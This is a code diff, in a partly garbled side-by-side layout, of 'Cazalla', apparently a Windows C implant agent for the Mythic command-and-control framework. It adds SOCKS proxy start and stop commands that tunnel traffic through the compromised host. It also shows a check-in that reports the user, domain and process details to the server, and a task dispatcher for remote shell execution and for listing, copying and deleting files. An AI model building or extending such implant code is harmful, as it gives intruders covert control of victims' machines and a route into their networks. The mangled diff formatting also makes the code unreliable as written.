addString(checkin, obtenerUsuarios(), TRUE);
|
addString(checkin, obtenerUsuarios(), TRUE);
|
||||||
addWString(checkin, obtenerDominio(), TRUE);
|
addWString(checkin, obtenerDominio(), TRUE);
|
||||||
addInt32(checkin, GetCurrentProcessId());
|
addInt32(checkin, GetCurrentProcessId());
|
||||||
addString(checkin, obtenerNombreProceso(), TRUE);
|
addString(checkin, obtenerNombreProceso(), TRUE);
|
||||||
addString(checkin, (PCHAR)"1.1.1.1", TRUE);
|
addString(checkin, (PCHAR)"1.1.1.1", TRUE);
|
||||||
|
|
||||||
|
printf("[CHECKIN] Enviando paquete inicial\n");
|
||||||
|
fflush(stdout);
|
||||||
|
PAnalizador respuestaAnalizador = mandarPaquete(checkin);
|
||||||
|
liberarPaquete(checkin);
|
||||||
|
|
||||||
PAnalizador respuestaAnalizador = mandarPaquete(checkin);
|
if (!respuestaAnalizador) {
|
||||||
|
printf("[CHECKIN] Error: respuestaAnalizador NULL. Cierre inminente.\n");
|
||||||
|
fflush(stdout);
|
||||||
|
return NULL;
|
||||||
|
}
|
||||||
|
|
||||||
liberarPaquete(checkin);
|
DBG_PRINTF("checkin(): respuesta recibida, procesando tráfico SOCKS si existe");
|
||||||
|
procesarSocksEntrante(respuestaAnalizador);
|
||||||
|
|
||||||
if (!respuestaAnalizador) {
|
DBG_PRINTF("checkin(): completado");
|
||||||
_err("parece que la respuesta del parser es incorrecta, y por lo tanto, la aplicacion va a cerrarse\n");
|
return respuestaAnalizador;
|
||||||
return NULL;
|
}
|
||||||
|
|
||||||
}
|
|
||||||
return respuestaAnalizador;
|
|
||||||
}
|
|
||||||
|
|||||||
@@ -2,6 +2,7 @@
|
|||||||
|
|
||||||
#ifndef CHECKIN_H
|
#ifndef CHECKIN_H
|
||||||
#define CHECKIN_H
|
#define CHECKIN_H
|
||||||
|
|
||||||
#include <windows.h>
|
#include <windows.h>
|
||||||
#include <lm.h>
|
#include <lm.h>
|
||||||
#include <lmwksta.h>
|
#include <lmwksta.h>
|
||||||
@@ -9,9 +10,10 @@
|
|||||||
#include "transporte.h"
|
#include "transporte.h"
|
||||||
#include "analizador.h"
|
#include "analizador.h"
|
||||||
#include "comandos.h"
|
#include "comandos.h"
|
||||||
|
#include "socks_manager.h" // <— añadido
|
||||||
|
|
||||||
#pragma comment(lib, "netapi32.lib")
|
#pragma comment(lib, "netapi32.lib")
|
||||||
|
|
||||||
PAnalizador checkin();
|
PAnalizador checkin(void);
|
||||||
|
|
||||||
#endif
|
#endif
|
||||||
|
|||||||
@@ -1,94 +1,207 @@
|
|||||||
#include "cazalla.h"
|
#include "cazalla.h"
|
||||||
#include "comandos.h"
|
#include "comandos.h"
|
||||||
|
#include "socks_manager.h"
|
||||||
|
#include "paquete.h"
|
||||||
|
|
||||||
|
#ifdef DEBUG_SOCKS
|
||||||
|
#define DBG_PRINTF(...) do { fprintf(stderr, "[CMDDBG] " __VA_ARGS__); fprintf(stderr, "\n"); fflush(stderr); } while(0)
|
||||||
|
#else
|
||||||
|
#define DBG_PRINTF(...) ((void)0)
|
||||||
|
#endif
|
||||||
|
|
||||||
|
/* Forward: handlers for the new commands */
|
||||||
|
static void startSocksHandler(PAnalizador analizadorTarea);
|
||||||
|
static void stopSocksHandler(PAnalizador analizadorTarea);
|
||||||
|
|
||||||
BOOL handleGetTasking(PAnalizador obtenerTarea) {
|
BOOL handleGetTasking(PAnalizador obtenerTarea) {
|
||||||
|
|
||||||
UINT32 numeroTareas = getInt32(obtenerTarea);
|
UINT32 numeroTareas = getInt32(obtenerTarea);
|
||||||
if (numeroTareas) {
|
if (numeroTareas) {
|
||||||
_dbg("[Tareas] hay %d tareas !\n", numeroTareas);
|
_dbg("[Tareas] hay %d tareas !\n", numeroTareas);
|
||||||
}
|
}
|
||||||
|
|
||||||
for (UINT32 i = 0; i < numeroTareas; i++) {
|
for (UINT32 i = 0; i < numeroTareas; i++) {
|
||||||
SIZE_T tamanoTarea = getInt32(obtenerTarea) - 1; //restamos 1 al taskID
|
SIZE_T tamanoTarea = getInt32(obtenerTarea) - 1; //restamos 1 al taskID
|
||||||
BYTE tarea = getByte(obtenerTarea);
|
BYTE tarea = getByte(obtenerTarea);
|
||||||
_dbg("[DEBUG] Tarea recibida: %x (Hex) | %d (Dec)", tarea, tarea);
|
_dbg("[DEBUG] Tarea recibida: %x (Hex) | %d (Dec)", tarea, tarea);
|
||||||
|
|
||||||
PBYTE bufferTarea = getBytes(obtenerTarea, &tamanoTarea);
|
PBYTE bufferTarea = getBytes(obtenerTarea, &tamanoTarea);
|
||||||
PAnalizador analizadorTarea = nuevoAnalizador(bufferTarea, tamanoTarea);
|
PAnalizador analizadorTarea = nuevoAnalizador(bufferTarea, tamanoTarea);
|
||||||
|
|
||||||
if (tarea == SHELL_CMD){
|
if (tarea == SHELL_CMD){
|
||||||
ejecutarConsola(analizadorTarea);
|
ejecutarConsola(analizadorTarea);
|
||||||
}else if (tarea == EXIT_CMD) {
|
} else if (tarea == EXIT_CMD) {
|
||||||
cerrarCallback(analizadorTarea);
|
cerrarCallback(analizadorTarea);
|
||||||
}else if(tarea == SLEEP_CMD){
|
} else if (tarea == SLEEP_CMD){
|
||||||
sleep(analizadorTarea);
|
sleep(analizadorTarea);
|
||||||
}else if(tarea == PROCESS_CMD){
|
} else if (tarea == PROCESS_CMD){
|
||||||
listarProcesos(analizadorTarea);
|
listarProcesos(analizadorTarea);
|
||||||
}else if (tarea == CD_CMD) {
|
} else if (tarea == CD_CMD) {
|
||||||
CambiarDirectorio(analizadorTarea);
|
CambiarDirectorio(analizadorTarea);
|
||||||
}else if (tarea == LS_CMD) {
|
} else if (tarea == LS_CMD) {
|
||||||
ListarDirectorio(analizadorTarea);
|
ListarDirectorio(analizadorTarea);
|
||||||
}else if (tarea == PWD_CMD) {
|
} else if (tarea == PWD_CMD) {
|
||||||
ObtenerPath(analizadorTarea);
|
ObtenerPath(analizadorTarea);
|
||||||
}else if (tarea == CP_CMD) {
|
} else if (tarea == CP_CMD) {
|
||||||
CopiarFichero(analizadorTarea);
|
CopiarFichero(analizadorTarea);
|
||||||
}else if (tarea == MKDIR_CMD) {
|
} else if (tarea == MKDIR_CMD) {
|
||||||
CrearRuta(analizadorTarea);
|
CrearRuta(analizadorTarea);
|
||||||
}else if (tarea == RM_CMD) {
|
} else if (tarea == RM_CMD) {
|
||||||
EliminarRuta(analizadorTarea);
|
EliminarRuta(analizadorTarea);
|
||||||
}
|
} else if (tarea == START_SOCKS_CMD) {
|
||||||
}
|
DBG_PRINTF("Received START_SOCKS_CMD");
|
||||||
|
startSocksHandler(analizadorTarea);
|
||||||
return TRUE;
|
} else if (tarea == STOP_SOCKS_CMD) {
|
||||||
|
DBG_PRINTF("Received STOP_SOCKS_CMD");
|
||||||
|
stopSocksHandler(analizadorTarea);
|
||||||
|
} else {
|
||||||
|
_dbg("[Tarea] Tarea desconocida: 0x%02x\n", tarea);
|
||||||
|
// liberar analizador si no será usado por otro handler
|
||||||
|
if (analizadorTarea) liberarAnalizador(analizadorTarea);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
return TRUE;
|
||||||
}
|
}
|
||||||
|
|
||||||
BOOL commandDispatch(PAnalizador respuesta) {
|
BOOL commandDispatch(PAnalizador respuesta) {
|
||||||
|
|
||||||
BYTE tipoRespuesta = getByte(respuesta);
|
BYTE tipoRespuesta = getByte(respuesta);
|
||||||
if (tipoRespuesta == GET_TASKING) {
|
if (tipoRespuesta == GET_TASKING) {
|
||||||
return handleGetTasking(respuesta);
|
return handleGetTasking(respuesta);
|
||||||
}
|
}
|
||||||
else if (tipoRespuesta == POST_RESPONSE) {
|
else if (tipoRespuesta == POST_RESPONSE) {
|
||||||
return TRUE;
|
return TRUE;
|
||||||
}
|
}
|
||||||
return TRUE;
|
return TRUE;
|
||||||
}
|
}
|
||||||
|
|
||||||
BOOL parseChecking(PAnalizador respuestaAnalizador) {
|
BOOL parseChecking(PAnalizador respuestaAnalizador) {
|
||||||
|
|
||||||
if (getByte(respuestaAnalizador) != CHECKIN) {
|
if (getByte(respuestaAnalizador) != CHECKIN) {
|
||||||
|
|
||||||
liberarAnalizador(respuestaAnalizador);
|
liberarAnalizador(respuestaAnalizador);
|
||||||
return FALSE;
|
return FALSE;
|
||||||
}
|
}
|
||||||
|
|
||||||
SIZE_T tamanoUuid = 36;
|
SIZE_T tamanoUuid = 36;
|
||||||
PCHAR nuevoUuid = getString(respuestaAnalizador, &tamanoUuid);
|
PCHAR nuevoUuid = getString(respuestaAnalizador, &tamanoUuid);
|
||||||
setUUID(nuevoUuid);
|
setUUID(nuevoUuid);
|
||||||
|
|
||||||
_dbg("[Tareas] Tenemos nuevo UUID ! --> %s\n", nuevoUuid);
|
_dbg("[Tareas] Tenemos nuevo UUID ! --> %s\n", nuevoUuid);
|
||||||
|
|
||||||
liberarAnalizador(respuestaAnalizador);
|
liberarAnalizador(respuestaAnalizador);
|
||||||
|
|
||||||
return TRUE;
|
return TRUE;
|
||||||
}
|
}
|
||||||
|
|
||||||
BOOL rutina() {
|
BOOL rutina() {
|
||||||
|
|
||||||
PPaquete obtenerTarea = nuevoPaquete(GET_TASKING, TRUE);
|
PPaquete obtenerTarea = nuevoPaquete(GET_TASKING, TRUE);
|
||||||
addInt32(obtenerTarea, NUMBER_OF_TASKS);
|
addInt32(obtenerTarea, NUMBER_OF_TASKS);
|
||||||
|
|
||||||
Analizador* respuestaAnalizador = mandarPaquete(obtenerTarea);
|
Analizador* respuestaAnalizador = mandarPaquete(obtenerTarea);
|
||||||
// sin respuesta
|
// sin respuesta
|
||||||
if (!respuestaAnalizador) {
|
if (!respuestaAnalizador) {
|
||||||
|
|
||||||
return FALSE;
|
|
||||||
}
|
|
||||||
commandDispatch(respuestaAnalizador);
|
|
||||||
|
|
||||||
// Sleep
|
return FALSE;
|
||||||
Sleep(cazallaConfig->tiempoSleep);
|
}
|
||||||
|
commandDispatch(respuestaAnalizador);
|
||||||
|
|
||||||
return TRUE;
|
// Sleep
|
||||||
|
Sleep(cazallaConfig->tiempoSleep);
|
||||||
|
|
||||||
}
|
return TRUE;
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
/* ============================
|
||||||
|
START_SOCKS_CMD handler
|
||||||
|
Expected params (in this order inside the task buffer):
|
||||||
|
- 36 bytes: UUID del task
|
||||||
|
- UINT32 LocalPort (optional). If absent or zero -> default 1080.
|
||||||
|
Behavior:
|
||||||
|
- call socks_manager_init()
|
||||||
|
- call socks_manager_start_proxy(local_port)
|
||||||
|
- send response back to Mythic
|
||||||
|
============================ */
|
||||||
|
static void startSocksHandler(PAnalizador analizadorTarea) {
|
||||||
|
DBG_PRINTF("startSocksHandler() enter");
|
||||||
|
|
||||||
|
// Leer el UUID del task (primeros 36 bytes)
|
||||||
|
SIZE_T uuidLen = 36;
|
||||||
|
PCHAR taskUuid = getString(analizadorTarea, &uuidLen);
|
||||||
|
|
||||||
|
// Leer el puerto
|
||||||
|
UINT32 localPort = (UINT32)getInt32(analizadorTarea);
|
||||||
|
DBG_PRINTF("startSocksHandler: taskId=%.*s port=%u", 36, taskUuid, localPort);
|
||||||
|
|
||||||
|
if (localPort == 0) localPort = 1080;
|
||||||
|
|
||||||
|
// initialize socks manager (idempotent)
|
||||||
|
socks_manager_init();
|
||||||
|
|
||||||
|
int rc = socks_manager_start_proxy((uint16_t)localPort);
|
||||||
|
|
||||||
|
// Crear respuesta para Mythic
|
||||||
|
PPaquete respuesta = nuevoPaquete(POST_RESPONSE, TRUE); // TRUE agrega UUID del agente automáticamente
|
||||||
|
addString(respuesta, taskUuid, FALSE); // Task UUID
|
||||||
|
|
||||||
|
// Crear paquete temporal para el output
|
||||||
|
PPaquete salida = nuevoPaquete(0, FALSE);
|
||||||
|
if (rc == 0) {
|
||||||
|
DBG_PRINTF("socks_manager_start_proxy(%u) OK", localPort);
|
||||||
|
PackageAddFormatPrintf(salida, FALSE, "SOCKS proxy started on port %u\n", localPort);
|
||||||
|
} else {
|
||||||
|
DBG_PRINTF("socks_manager_start_proxy(%u) rc=%d", localPort, rc);
|
||||||
|
PackageAddFormatPrintf(salida, FALSE, "Failed to start SOCKS proxy on port %u (rc=%d)\n", localPort, rc);
|
||||||
|
}
|
||||||
|
addBytes(respuesta, (PBYTE)salida->buffer, salida->length, TRUE);
|
||||||
|
|
||||||
|
// Enviar respuesta
|
||||||
|
Analizador* respuestaAnalizador = mandarPaquete(respuesta);
|
||||||
|
liberarPaquete(salida);
|
||||||
|
if (respuestaAnalizador) liberarAnalizador(respuestaAnalizador);
|
||||||
|
|
||||||
|
if (analizadorTarea) liberarAnalizador(analizadorTarea);
|
||||||
|
}
|
||||||
|
|
||||||
|
/* ============================
|
||||||
|
STOP_SOCKS_CMD handler
|
||||||
|
Expected params:
|
||||||
|
- 36 bytes: UUID del task
|
||||||
|
Behavior:
|
||||||
|
- call socks_manager_stop_proxy()
|
||||||
|
- call socks_manager_cleanup()
|
||||||
|
- send response back to Mythic
|
||||||
|
============================ */
|
||||||
|
static void stopSocksHandler(PAnalizador analizadorTarea) {
|
||||||
|
DBG_PRINTF("stopSocksHandler() enter");
|
||||||
|
|
||||||
|
// Leer el UUID del task (primeros 36 bytes)
|
||||||
|
SIZE_T uuidLen = 36;
|
||||||
|
PCHAR taskUuid = getString(analizadorTarea, &uuidLen);
|
||||||
|
DBG_PRINTF("stopSocksHandler: taskId=%.*s", 36, taskUuid);
|
||||||
|
|
||||||
|
int rc = socks_manager_stop_proxy();
|
||||||
|
DBG_PRINTF("socks_manager_stop_proxy() rc=%d", rc);
|
||||||
|
|
||||||
|
socks_manager_cleanup();
|
||||||
|
DBG_PRINTF("socks_manager_cleanup() done");
|
||||||
|
|
||||||
|
// Crear respuesta para Mythic
|
||||||
|
PPaquete respuesta = nuevoPaquete(POST_RESPONSE, TRUE); // TRUE agrega UUID del agente automáticamente
|
||||||
|
addString(respuesta, taskUuid, FALSE); // Task UUID
|
||||||
|
|
||||||
|
// Crear paquete temporal para el output
|
||||||
|
PPaquete salida = nuevoPaquete(0, FALSE);
|
||||||
|
PackageAddFormatPrintf(salida, FALSE, "SOCKS proxy stopped\n");
|
||||||
|
addBytes(respuesta, (PBYTE)salida->buffer, salida->length, TRUE);
|
||||||
|
|
||||||
|
// Enviar respuesta
|
||||||
|
Analizador* respuestaAnalizador = mandarPaquete(respuesta);
|
||||||
|
liberarPaquete(salida);
|
||||||
|
if (respuestaAnalizador) liberarAnalizador(respuestaAnalizador);
|
||||||
|
|
||||||
|
if (analizadorTarea) liberarAnalizador(analizadorTarea);
|
||||||
|
}
|
||||||
|
|||||||
@@ -22,16 +22,21 @@
|
|||||||
#define SLEEP_CMD 0x38
|
#define SLEEP_CMD 0x38
|
||||||
#define PROCESS_CMD 0x15
|
#define PROCESS_CMD 0x15
|
||||||
|
|
||||||
#define CD_CMD 0x20
|
#define CD_CMD 0x20
|
||||||
#define LS_CMD 0x21
|
#define LS_CMD 0x21
|
||||||
#define PWD_CMD 0x22
|
#define PWD_CMD 0x22
|
||||||
#define CP_CMD 0x23
|
#define CP_CMD 0x23
|
||||||
#define MKDIR_CMD 0x24
|
#define MKDIR_CMD 0x24
|
||||||
#define RM_CMD 0x25
|
#define RM_CMD 0x25
|
||||||
|
|
||||||
|
/* New SOCKS control commands (agent-side) */
|
||||||
|
#define START_SOCKS_CMD 0x60
|
||||||
|
#define STOP_SOCKS_CMD 0x61
|
||||||
|
|
||||||
|
/* Extension marker to carry SOCKS array in binary messages */
|
||||||
|
#define SOCKS_BLOCK_MARKER 0xF5
|
||||||
|
|
||||||
BOOL parseChecking(PAnalizador respuestaAnalizador);
|
BOOL parseChecking(PAnalizador respuestaAnalizador);
|
||||||
BOOL rutina();
|
BOOL rutina();
|
||||||
|
|
||||||
#endif
|
#endif
|
||||||
|
|||||||
@@ -23,7 +23,8 @@ BOOL IdentityGetUserInfo(_In_ HANDLE hToken, _Out_ char* buffer, _In_ int tamano
|
|||||||
return FALSE;
|
return FALSE;
|
||||||
}
|
}
|
||||||
|
|
||||||
sprintf_s(buffer, tamano, "%s\\%s", dominio, nombre);
|
/* Use wsprintfA for MinGW portability without requiring nonstandard _snprintf */
|
||||||
|
wsprintfA(buffer, "%s\\%s", dominio, nombre);
|
||||||
buffer[tamano - 1] = 0;
|
buffer[tamano - 1] = 0;
|
||||||
return TRUE;
|
return TRUE;
|
||||||
}
|
}
|
||||||
@@ -1,12 +1,14 @@
|
|||||||
#include "cazalla.h"
|
#include "cazalla.h"
|
||||||
|
#include <stdio.h>
|
||||||
|
|
||||||
//#ifdef _DEBUG
|
int main() {
|
||||||
//int main()
|
printf("=== CAZALLA AGENT STARTING ===\n");
|
||||||
//#else
|
fflush(stdout);
|
||||||
//int WINAPI WinMain(_In_ HINSTANCE hInstance, _In_opt_ HINSTANCE hPrevInstance, _In_ LPSTR szArgs, _In_ int nCmdShow)
|
Sleep(2000); // Pausa 2 segundos para ver si inicia
|
||||||
//#endif
|
|
||||||
{
|
|
||||||
cazallaMain();
|
cazallaMain();
|
||||||
|
printf("=== CAZALLA AGENT EXITING ===\n");
|
||||||
|
fflush(stdout);
|
||||||
|
printf("Press any key to exit...\n");
|
||||||
|
getchar();
|
||||||
return 0;
|
return 0;
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -1,9 +1,16 @@
|
|||||||
#include "cazalla.h"
|
#include "cazalla.h"
|
||||||
#include "paquete.h"
|
#include "paquete.h"
|
||||||
|
#include "socks_manager.h"
|
||||||
|
|
||||||
//Creacion de un nuevo paquete. Si init es true, agrega el id del comando y el UUID al paquete.
|
#ifdef DEBUG_SOCKS
|
||||||
|
#define DBG_PRINTF(...) do { fprintf(stderr, "[PAQDBG] " __VA_ARGS__); fprintf(stderr, "\n"); fflush(stderr); } while(0)
|
||||||
|
#else
|
||||||
|
#define DBG_PRINTF(...) ((void)0)
|
||||||
|
#endif
|
||||||
|
|
||||||
|
// Creacion de un nuevo paquete. Si init es true, agrega el id del comando y el UUID al paquete.
|
||||||
PPaquete nuevoPaquete(BYTE idComando, BOOL init) {
|
PPaquete nuevoPaquete(BYTE idComando, BOOL init) {
|
||||||
//v2 change to syscalls
|
DBG_PRINTF("nuevoPaquete(idComando=0x%02X, init=%d)", idComando, init);
|
||||||
PPaquete paquete = (PPaquete)LocalAlloc(LPTR, sizeof(Paquete));
|
PPaquete paquete = (PPaquete)LocalAlloc(LPTR, sizeof(Paquete));
|
||||||
if (!paquete) {
|
if (!paquete) {
|
||||||
_err("Error: fallo al asignar memoria para Paquete\n");
|
_err("Error: fallo al asignar memoria para Paquete\n");
|
||||||
@@ -24,31 +31,98 @@ PPaquete nuevoPaquete(BYTE idComando, BOOL init) {
|
|||||||
}
|
}
|
||||||
|
|
||||||
VOID liberarPaquete(PPaquete paquete) {
|
VOID liberarPaquete(PPaquete paquete) {
|
||||||
|
DBG_PRINTF("liberarPaquete()");
|
||||||
LocalFree(paquete->buffer);
|
LocalFree(paquete->buffer);
|
||||||
LocalFree(paquete);
|
LocalFree(paquete);
|
||||||
|
|
||||||
}
|
}
|
||||||
|
|
||||||
|
/* Callback C para volcar mensajes SOCKS al paquete */
|
||||||
|
static void flush_socks_cb(uint32_t server_id, int exit_flag, const unsigned char *data, size_t data_len, void *ctx) {
|
||||||
|
PPaquete pkt = (PPaquete)ctx;
|
||||||
|
printf("[SOCKS] flush_socks_cb: sid=%u exit=%d len=%zu\n", server_id, exit_flag, data_len);
|
||||||
|
fflush(stdout);
|
||||||
|
addInt32(pkt, server_id);
|
||||||
|
addByte(pkt, (BYTE)(exit_flag ? 1 : 0));
|
||||||
|
if (data_len && data) {
|
||||||
|
char *b64 = b64Codificado(data, (SIZE_T)data_len);
|
||||||
|
SIZE_T b64len = b64 ? strlen(b64) : 0;
|
||||||
|
addInt32(pkt, (UINT32)b64len);
|
||||||
|
if (b64len) addBytes(pkt, (PBYTE)b64, b64len, FALSE);
|
||||||
|
if (b64) LocalFree(b64);
|
||||||
|
} else {
|
||||||
|
addInt32(pkt, 0);
|
||||||
|
}
|
||||||
|
printf("[SOCKS] flush_socks_cb completed\n");
|
||||||
|
fflush(stdout);
|
||||||
|
}
|
||||||
|
|
||||||
|
/* === Nueva función: inserta tráfico SOCKS pendiente === */
|
||||||
|
static VOID flushSocksTraffic(PPaquete paquete) {
|
||||||
|
printf("[PAQUETE] flushSocksTraffic()\n");
|
||||||
|
fflush(stdout);
|
||||||
|
/* Emit marker and number of SOCKS messages if there are any; we buffer to temp first */
|
||||||
|
PPaquete temp = nuevoPaquete(0, FALSE);
|
||||||
|
if (!temp) {
|
||||||
|
printf("[PAQUETE] ERROR: nuevoPaquete temp failed\n");
|
||||||
|
fflush(stdout);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
printf("[PAQUETE] temp paquete created\n");
|
||||||
|
fflush(stdout);
|
||||||
|
|
||||||
|
socks_manager_flush_outgoing(flush_socks_cb, (void*)temp);
|
||||||
|
printf("[PAQUETE] socks_manager_flush_outgoing done, temp->length=%zu\n", temp->length);
|
||||||
|
fflush(stdout);
|
||||||
|
|
||||||
|
if (temp->length > 0) {
|
||||||
|
printf("[PAQUETE] Adding SOCKS block marker\n");
|
||||||
|
fflush(stdout);
|
||||||
|
/* Frame: 0xF5 | [Int32 total_len] | [temp bytes] */
|
||||||
|
addByte(paquete, (BYTE)SOCKS_BLOCK_MARKER);
|
||||||
|
addInt32(paquete, (UINT32)temp->length);
|
||||||
|
addBytes(paquete, (PBYTE)temp->buffer, temp->length, FALSE);
|
||||||
|
}
|
||||||
|
liberarPaquete(temp);
|
||||||
|
printf("[PAQUETE] flushSocksTraffic() completed\n");
|
||||||
|
fflush(stdout);
|
||||||
|
}
|
||||||
|
|
||||||
|
/* === Enviar paquete con soporte SOCKS === */
|
||||||
PAnalizador mandarPaquete(PPaquete paquete) {
|
PAnalizador mandarPaquete(PPaquete paquete) {
|
||||||
|
printf("[PAQUETE] mandarPaquete() len=%zu\n", paquete->length);
|
||||||
|
fflush(stdout);
|
||||||
|
|
||||||
|
// Solo añadir tráfico SOCKS si el proxy está activo
|
||||||
|
if (socks_proxy_active) {
|
||||||
|
printf("[PAQUETE] SOCKS activo, flushSocksTraffic()\n");
|
||||||
|
fflush(stdout);
|
||||||
|
flushSocksTraffic(paquete);
|
||||||
|
} else {
|
||||||
|
printf("[PAQUETE] SOCKS inactivo, saltando flushSocksTraffic()\n");
|
||||||
|
fflush(stdout);
|
||||||
|
}
|
||||||
|
|
||||||
PCHAR paqueteParaMandar = b64Codificado((const unsigned char*)paquete->buffer, paquete->length);
|
PCHAR paqueteParaMandar = b64Codificado((const unsigned char*)paquete->buffer, paquete->length);
|
||||||
SIZE_T tamanoDelPaquete = b64tamanoCodificado(paquete->length);
|
SIZE_T tamanoDelPaquete = b64tamanoCodificado(paquete->length);
|
||||||
|
|
||||||
|
printf("[PAQUETE] Enviando paquete base64 de %zu bytes\n", tamanoDelPaquete);
|
||||||
|
fflush(stdout);
|
||||||
PAnalizador respuesta = mandarYRecibir((PBYTE)paqueteParaMandar, tamanoDelPaquete);
|
PAnalizador respuesta = mandarYRecibir((PBYTE)paqueteParaMandar, tamanoDelPaquete);
|
||||||
|
|
||||||
if (!respuesta) {
|
if (!respuesta) {
|
||||||
|
printf("[PAQUETE] ERROR: respuesta NULL\n");
|
||||||
|
fflush(stdout);
|
||||||
paqueteParaMandar = NULL;
|
paqueteParaMandar = NULL;
|
||||||
return NULL;
|
return NULL;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
printf("[PAQUETE] respuesta OK\n");
|
||||||
|
fflush(stdout);
|
||||||
return respuesta;
|
return respuesta;
|
||||||
|
|
||||||
}
|
}
|
||||||
|
|
||||||
|
/* === Funciones auxiliares === */
|
||||||
BOOL addByte(PPaquete paquete, BYTE byte) {
|
BOOL addByte(PPaquete paquete, BYTE byte) {
|
||||||
//v2. Syscalls
|
|
||||||
paquete->buffer = LocalReAlloc(paquete->buffer, paquete->length + sizeof(BYTE), LMEM_MOVEABLE);
|
paquete->buffer = LocalReAlloc(paquete->buffer, paquete->length + sizeof(BYTE), LMEM_MOVEABLE);
|
||||||
if (!paquete->buffer) {
|
if (!paquete->buffer) {
|
||||||
return FALSE;
|
return FALSE;
|
||||||
@@ -58,33 +132,27 @@ BOOL addByte(PPaquete paquete, BYTE byte) {
|
|||||||
return TRUE;
|
return TRUE;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
BOOL addInt32(PPaquete paquete, UINT32 valor) {
|
BOOL addInt32(PPaquete paquete, UINT32 valor) {
|
||||||
|
|
||||||
paquete->buffer = LocalReAlloc(paquete->buffer, paquete->length + sizeof(UINT32), LMEM_MOVEABLE | LMEM_ZEROINIT);
|
paquete->buffer = LocalReAlloc(paquete->buffer, paquete->length + sizeof(UINT32), LMEM_MOVEABLE | LMEM_ZEROINIT);
|
||||||
if (!paquete->buffer) {
|
if (!paquete->buffer) {
|
||||||
return FALSE;
|
return FALSE;
|
||||||
}
|
}
|
||||||
|
|
||||||
addInt32ToBuffer((PUCHAR)(paquete->buffer) + paquete->length, valor);
|
addInt32ToBuffer((PUCHAR)(paquete->buffer) + paquete->length, valor);
|
||||||
paquete->length += sizeof(UINT32);
|
paquete->length += sizeof(UINT32);
|
||||||
return TRUE;
|
return TRUE;
|
||||||
}
|
}
|
||||||
|
|
||||||
BOOL addInt64(PPaquete paquete, UINT64 valor) {
|
BOOL addInt64(PPaquete paquete, UINT64 valor) {
|
||||||
|
|
||||||
paquete->buffer = LocalReAlloc(paquete->buffer, paquete->length + sizeof(UINT64), LMEM_MOVEABLE | LMEM_ZEROINIT);
|
paquete->buffer = LocalReAlloc(paquete->buffer, paquete->length + sizeof(UINT64), LMEM_MOVEABLE | LMEM_ZEROINIT);
|
||||||
if (!paquete->buffer) {
|
if (!paquete->buffer) {
|
||||||
return FALSE;
|
return FALSE;
|
||||||
}
|
}
|
||||||
|
|
||||||
addInt64ToBuffer((PUCHAR)(paquete->buffer), valor);
|
addInt64ToBuffer((PUCHAR)(paquete->buffer), valor);
|
||||||
paquete->length += sizeof(UINT64);
|
paquete->length += sizeof(UINT64);
|
||||||
return TRUE;
|
return TRUE;
|
||||||
}
|
}
|
||||||
|
|
||||||
BOOL addBytes(PPaquete paquete, PBYTE datos, SIZE_T tamano, BOOL tamanoCopia) {
|
BOOL addBytes(PPaquete paquete, PBYTE datos, SIZE_T tamano, BOOL tamanoCopia) {
|
||||||
|
|
||||||
if (tamanoCopia && tamano) {
|
if (tamanoCopia && tamano) {
|
||||||
if (!addInt32(paquete, tamano)) {
|
if (!addInt32(paquete, tamano)) {
|
||||||
return FALSE;
|
return FALSE;
|
||||||
@@ -95,10 +163,6 @@ BOOL addBytes(PPaquete paquete, PBYTE datos, SIZE_T tamano, BOOL tamanoCopia) {
|
|||||||
if (!paquete->buffer) {
|
if (!paquete->buffer) {
|
||||||
return FALSE;
|
return FALSE;
|
||||||
}
|
}
|
||||||
if (tamanoCopia) {
|
|
||||||
addInt32ToBuffer((PUCHAR)paquete->buffer + (paquete->length - sizeof(UINT32)), tamano);
|
|
||||||
}
|
|
||||||
//v2.syscalls
|
|
||||||
memcpy((PBYTE)paquete->buffer + paquete->length, datos, tamano);
|
memcpy((PBYTE)paquete->buffer + paquete->length, datos, tamano);
|
||||||
paquete->length += tamano;
|
paquete->length += tamano;
|
||||||
}
|
}
|
||||||
@@ -106,7 +170,6 @@ BOOL addBytes(PPaquete paquete, PBYTE datos, SIZE_T tamano, BOOL tamanoCopia) {
|
|||||||
}
|
}
|
||||||
|
|
||||||
BOOL addString(PPaquete paquete, PCHAR datos, BOOL tamanoCopia) {
|
BOOL addString(PPaquete paquete, PCHAR datos, BOOL tamanoCopia) {
|
||||||
|
|
||||||
if (!addBytes(paquete, (PBYTE)datos, strlen(datos), tamanoCopia)) {
|
if (!addBytes(paquete, (PBYTE)datos, strlen(datos), tamanoCopia)) {
|
||||||
return FALSE;
|
return FALSE;
|
||||||
}
|
}
|
||||||
@@ -120,33 +183,24 @@ BOOL addWString(PPaquete paquete, PWCHAR datos, BOOL tamanoCopia) {
|
|||||||
return TRUE;
|
return TRUE;
|
||||||
}
|
}
|
||||||
|
|
||||||
BOOL PackageAddFormatPrintf(PPaquete package, BOOL copySize, char* fmt, ...)
|
BOOL PackageAddFormatPrintf(PPaquete package, BOOL copySize, char* fmt, ...) {
|
||||||
{
|
|
||||||
va_list args;
|
va_list args;
|
||||||
va_start(args, fmt);
|
va_start(args, fmt);
|
||||||
|
int requiredLength = vsnprintf(NULL, 0, fmt, args) + 1;
|
||||||
// Determine how much space is needed for the formatted string
|
|
||||||
int requiredLength = vsnprintf(NULL, 0, fmt, args) + 1; // +1 for null terminator
|
|
||||||
|
|
||||||
va_end(args);
|
va_end(args);
|
||||||
|
|
||||||
// Allocate a temporary buffer for the formatted string
|
|
||||||
char* tempBuffer = (char*)malloc(requiredLength);
|
char* tempBuffer = (char*)malloc(requiredLength);
|
||||||
if (tempBuffer == NULL)
|
if (!tempBuffer) return FALSE;
|
||||||
{
|
|
||||||
return FALSE; // Memory allocation failed
|
|
||||||
}
|
|
||||||
|
|
||||||
va_start(args, fmt);
|
va_start(args, fmt);
|
||||||
vsnprintf(tempBuffer, requiredLength, fmt, args);
|
vsnprintf(tempBuffer, requiredLength, fmt, args);
|
||||||
va_end(args);
|
va_end(args);
|
||||||
|
|
||||||
// Use addString to add the formatted string to the package
|
if (!addString(package, tempBuffer, copySize)) {
|
||||||
if (!addString(package, tempBuffer, copySize))
|
free(tempBuffer);
|
||||||
return FALSE;
|
return FALSE;
|
||||||
|
}
|
||||||
|
|
